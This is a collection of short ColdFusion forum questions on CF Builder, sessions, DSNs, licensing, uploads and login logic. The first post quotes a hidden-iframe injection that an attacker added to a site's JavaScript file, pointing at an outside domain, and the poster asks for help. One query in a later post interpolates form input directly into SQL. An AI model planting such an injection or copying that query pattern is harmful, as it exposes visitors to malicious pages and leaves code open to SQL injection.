Questions

We just found an injection at the end of masks.jsHere is the content that was added:"document.write("<iframe width='1' height='0' src='http://top12.oufm.info/'></iframe>");"Not sure what to make out of it. We have a very cryptic password known only to 2 people. Hacking the server would be pretty difficult so I assume somehow hacking into CFIDE was the issue. Anybody seen anything similar?It must have happened August 31, 2013We are using CF 9.02 with ....lib/updates/hf902-00003.jarThanks for any feedback and advice how to prevent another oneRob

I have a POST form and action to itself lie following: <cfform  name="Indexform" method="post" action="index.cfm">I want to give user complete message when POST complete and show error message if there is any.I want to use on Button click, but it seems that it is too early.It should handle by server side, since it needs get back from server for POST. <td><input name="Submit" type="submit" id="Submit" value="Submit" onClick="PostMessage()"/></td>I would like to use   ColdFusion.CreateMessage or CFMessagebox to show user message.  Are there any condition I can check using CFIF to generate this user message?  Your help and information is great appreciated,Regards,Iccsi,

I have a table that lists a class schedule and a table for people who register for a class. I use a query to populate the cfselect drop-down. My question is: Can I pass fields from the session query into the registration table when the form submits???   Thank you:) <cfquery name="session" datasource="webadmin">                                        SELECT Class, date1, date2, location, message                    from mobilitySchedule                    where dropDate >= Now()                    order

I'm using CF Builder (not 2) on Apache 2.2  with CF9.My project is set up just fine.  I have Firefox and IE tabs set up in the IDE for previewing.When I preview a cfm project in my project, the correct behavior for my site is to first require a login page to be rendered in the preview window. After supplying uname/pw, the page I'm intending to preview *should* appear.This correct behavior happens on the IE preview.  For the Firefox preview, the login page appears but then immediately after the login page is submitted, CF Builder completely closes.  Poof!  No error message or anything...it just shuts down.Any thoughts about what might be causing this FIrefox-only, only-after-login-is-submitted shutdown?  I've uninstalled/reinstalled CF Builder, cleaned out project settings, and even reinstalled CF9.  Nothing has changed this behavior.Help greatly appreciated!Les

I have been running CF Builder 2 on Mac OS 10.8.4 as a standalone. I can preview templates in Safari and Chrome but not in Firefox (v23). If I set Firefox as default browser in CFB2 prefs and preview a template, FF starts up and displays correctly once but any subsequent requests give me the alert "Close Firefox. A copy of Firefox is already open. Only one copy of Firefox can be open at a time."  I have Googled this and tried deleting lock files and profiles etc. But I doubted this was the problem any way since Dreamweaver, Aptana Studio and Eclipse with CFEclipse plug-in all launch templates in FF successfully.So I tried uninstalling all CFB2 and all of Eclipse 4.2 and installed Eclipse 3.7.2 and CFB2 plug-in... same problem, CF Builder won't play with Firefox.Any answers?Many thanks.

I ran malwarebytes last night, and found my Coldfusion 9 shows jnbridge\uninstall\uninstaller.jar  and uninstall\uninstaller.jar  infected with backdoor.MSIL.pDoes anyone know Is this a false positive or should I go ahead and remove these.. guess worst case I won't be able to uinstall I suppose..

I have an coldfusion application in production.  I am getting more and more requests for certain functions to be available in a mobile friendly format.  I do not need the entire site to be mobile friendly, just certain parts.  I have researched and determined how to detect the devices and how to redirect mobile users.  2 questions:1. What is the typical architecture for what I am needing.  For example....currently I have:webroot/mycfappShould I do this?: webroot/mycfapp/mycfmobileapp  Just add a subfolder?  I am wanting to keep using the original authentication and other processes from mycfapp, but just have a section seperated that includes the mobile features.What is a light weight accepted way to do this?  I typically develop desktop apps so this is new for me.2. Where should I store the variable that tells the application which format(desktop or mobile)?  Should I keep that flag or variable in  a session variable or cookie?It seems

I am wanting to document my web application with online docs.  I have written some docs in pdf and posted them, but I would prefer to have an online version where I can update them easier.  It will be text, table of contents, screenshots, etc.  What is an easy lightweight to accomplish this?

enterprise edition changed to developer edition all of a suddenKindly find below in for maion got from logs07/29 09:44:32 INFO License Service: Flex 1.5 CF Edition enabled07/29 09:44:32 INFO Starting Flex 1.5 CF Edition07/29 09:44:33 Information [main] - Enterprise Edition enabled07/29 09:46:01 INFO License Service: Flex 1.5 CF Edition enabled07/29 09:46:01 INFO Starting Flex 1.5 CF Edition07/29 09:46:02 Information [main] - Enterprise Edition enabled07/30 12:09:25 INFO License Service: Flex 1.5 CF Edition enabled07/30 12:09:25 INFO Starting Flex 1.5 CF Edition07/30 12:09:26 Information [main] - Evaluation Edition enabled07/30 12:10:18 INFO License Service: Flex 1.5 CF Edition enabled07/30 12:10:18 INFO Starting Flex 1.5 CF Edition...08/20 15:11:04 INFO License Service: Flex 1.5 CF Edition enabled08/20 15:11:04 INFO Starting Flex 1.5 CF Edition08/20 15:11:06 Information [main] - Evaluation Edition enabled09/03 10:16:54 INFO License Service: Flex 1.5 CF Edition enabled09/03 10:16:54 INF

Hi,We are trying to update an existing MSSQL DSN. Can we just overwrite the DSN to update it? Secondly, the timeout and interval values never update, and these are the values we want to change. Is this a bug Adobe? Do you have an example of a MSSQL DSN update. The examples on the Adobe site do not work - the interval/timeout values are not updatable. We run CF10 update 11 on IIS8.Thanks,Mark

This question was posted in response to the following article: http://help.adobe.com/en_US/ColdFusion/10.0/Admin/WSc3ff6d0ea77859461172e0811cbf364104-7fcf.html

I have a simple CFLOCATION redirecting to a page with a fixed value of 15 as id<CFLOCATION URL="http://www.MYWEBSITE.com/index.cfm?id=15">When I hit the page locally it works fine, the receiving page can see the value of 15 in id.However, when I run the same page on the server I get an error that the url.id does not existNot sure what is causing this, could it be a config issue in the CF admin?ThanksMark

In short, I want to allow users to upload images from a local computer or url. So, what's the best aproach to secure my application, more specifically to block all file extensions except those in white list. I do not want to rely on mime type simply because it can be easily faked and offer false sense of security.I would like to pass data with jquery, the code would look something like this $.ajax({            url: "cfc/uploadImg.cfc",            dataType: 'JSON',            data: {                 method : 'uploadImages',                returnformat : 'JSON',                post: $("#title").val(),&nbs

We have a legacy ColdFusion application using 150 client variables to manage session state. The client variables are centrally stored in a SQL Server database within a 6 (CF9) application server clustered environment using a round-robin load balancer.The problem is when the code updates a client variable with a new value, the old value is still being used and displayed even though the new value is updated appropriately in the CData table. This only happens intermittently in an average of 1 out of 1000 updates being made to the client variable using the cfset tag.Race conditions and caching issues are possible explanations. We "suspect" that the old value is still being cached on one of the 6 application servers. Adobe's documentation clearly states that the client variables are cached into memory but does not go into further details. 1) Has anyone also experienced this issue and found a good resolution?2) What are the implications of moving to a sticky session while we keep using

hi,i am using the mysql  aes_encrypt function for encrypting data in the database.i.e. a sample update query that i have:<cfquery name="updateUser" datasource="#application.datasource#">UPDATE usersSET users.name=AES_ENCRYPT('#form.name#', '#application.master_key#'),users.contact=AES_ENCRYPT('#form.contact#', '#application.master_key#'),users.town=AES_ENCRYPT('#form.town#', '#application.master_key#'),users.role=<cfqueryparam value="#form.role#" cfsqltype="cf_sql_integer">WHERE users.id=<cfqueryparam value="#form.user_id#" cfsqltype="cf_sql_varchar" maxlength="50"></cfquery>this works fine and i then successfully retrieve the data using the following:<cfquery name="getUser" datasource="#application.datasource#">SELECT users.id, users.role, CAST(AES_DECRYPT(users.name, '#application.master_key#') AS CHAR(50)) name_decrypt,CAST(AES_DECRYPT(users.contact, '#application.master_key#') AS CHAR(30)) contact_decrypt,CAST(AES_DECRYPT(users.town, '#application

Just how badly could Adobe make an IDE for CF? In Dreamweaver if you want to run an <cfif> statement with 'structkeyexists' then you get perfect code hinting. So try typing <cfif structkeyexists( ....  and DW will show you what parameters the structkeyexists function expects.Now do the same in CF Builder and it doesn't give you any code hinting whatsoever!Getting a little tired of Adobe's product team now.

Hi to all. Going to be out of internet service for 10 days and I still need to code. I have installed CF development server on my desktop and I have SQL server Express for the database. Now what do I do? I have a DSN set on the CF Server and I should be pointing to the DB. Where do I call the http app and how does it point to the CF server. I have been coding in CF for 11 years.TNX John

I am new to CF. I am trying to create a report  using a query to a table containing UserNum, AccountNum and TransactionDate. The report will include Transaction Month/Year and if the transaction Month/Year is the same keep it in one table, if different, place it on another table.Something similar to the screenshot below.  Any assistance is highly appreciated.

It seems the Security section of my CF10 Administrator is missing a number of options. I have users enabled, but I can no longer find where to manage them. I'd also like to enable RDS for some development purposes, but its not listed under "Security" either.I know its something really simple and I've search and searched online to no avail.Any pointers?Thanks.

i want to do something very simple: when session expires, automatically redirect to a login page.onSessionEnd looks like the logical choice, but i wasn't able to make it do anything at all!any example that can show this function can do stuff is welcome, i've tried a bunch of them already, nothing works.<cfcomponent output="false">    <cfset this.name="testApp" />    <cfset this.sessionManagement = true />    <cfset this.applicationTimeOut = CreateTimeSpan(0,0,0,20) />    <cfset this.sessionTimeout = createTimeSpan(0,0,0,20) />    <cfset this.clientManagement = true />    <cffunction name="onSessionEnd" access="public" returntype="void" output="false">        <cflocation url="login.cfm">    </cffunction></cfcomponent>

Our agency has been running CF in distributed mode since CF6.  We know how to use the JRun Connector with multiple IIS 6 web sites on multiple physical hosts to connect to multiple CF clusters hosted on separate physical servers. I am doing a test installation with a fully licensed version of CF10  Enterprise to make a recommendation to management as to whether or not  we should upgrade to CF10 when we move to WIndows 2012 R2 and IIS 8.5 in  2014 or perhaps stay on CF9.0.x for a few more years & skip CF10.   CF9 has been stable for years. There was a lot of help documentation with the JRun Connector and technotes regarding how to run ColdFusion in distributed mode; unfortunately, I cannot say the same for CF10 and the Tomcat connector.  I do not want all web sites to be configured for ColdFusion; some of the web sites are purely .NET.I tried the manual configuration of the connector, but the server returns the dreaded "Incorrect function" error me

Hi All,Is it possible to set the multiple datasources on a Application.cfc using this.datasouce attribute? CF 9, from application.cfc, you  can set <cfset this datasouce ="myDSN1" > and no need to specify the DSN in the query.  My question is if I have multiples Datasouces, how can i set them up in application.cfc?  <cfquery name="qDoctype">select * from type</cfquery>Thanks

I am trying to install CF10 Update 11 but it is complaining that the jar file is invalid or corrupt.  I have attempted to download it now on 3 different computers with the same result on each.

Hi,I would like to force IE using compatibility mode to visit webpage. However, after I set the custom header "X-UA-Compatible: IE=EmulateIE9", it stills does not work. Only .NET project can be auto applied compatibility mode.Is there any setting I have missed for setting ColdFusion webpage to use compatibility mode?Thanks.

I have logout link on the index.cfm and check IsDefined in Application.cfcin OnRequestStart.Should OnRequestStart running every time user click go to the form, for this case pass link index.cfm?Logout and CFLOGOUT trigger?For some reason, when user click the link, it still running index.cfm and user still login.any information help is great appreciated,Regards,Iccsi, <p><a href="index.cfm?logout">log Out</a><p><cfif (IsDefined("Form.logout") )>     <cflogout></cfif>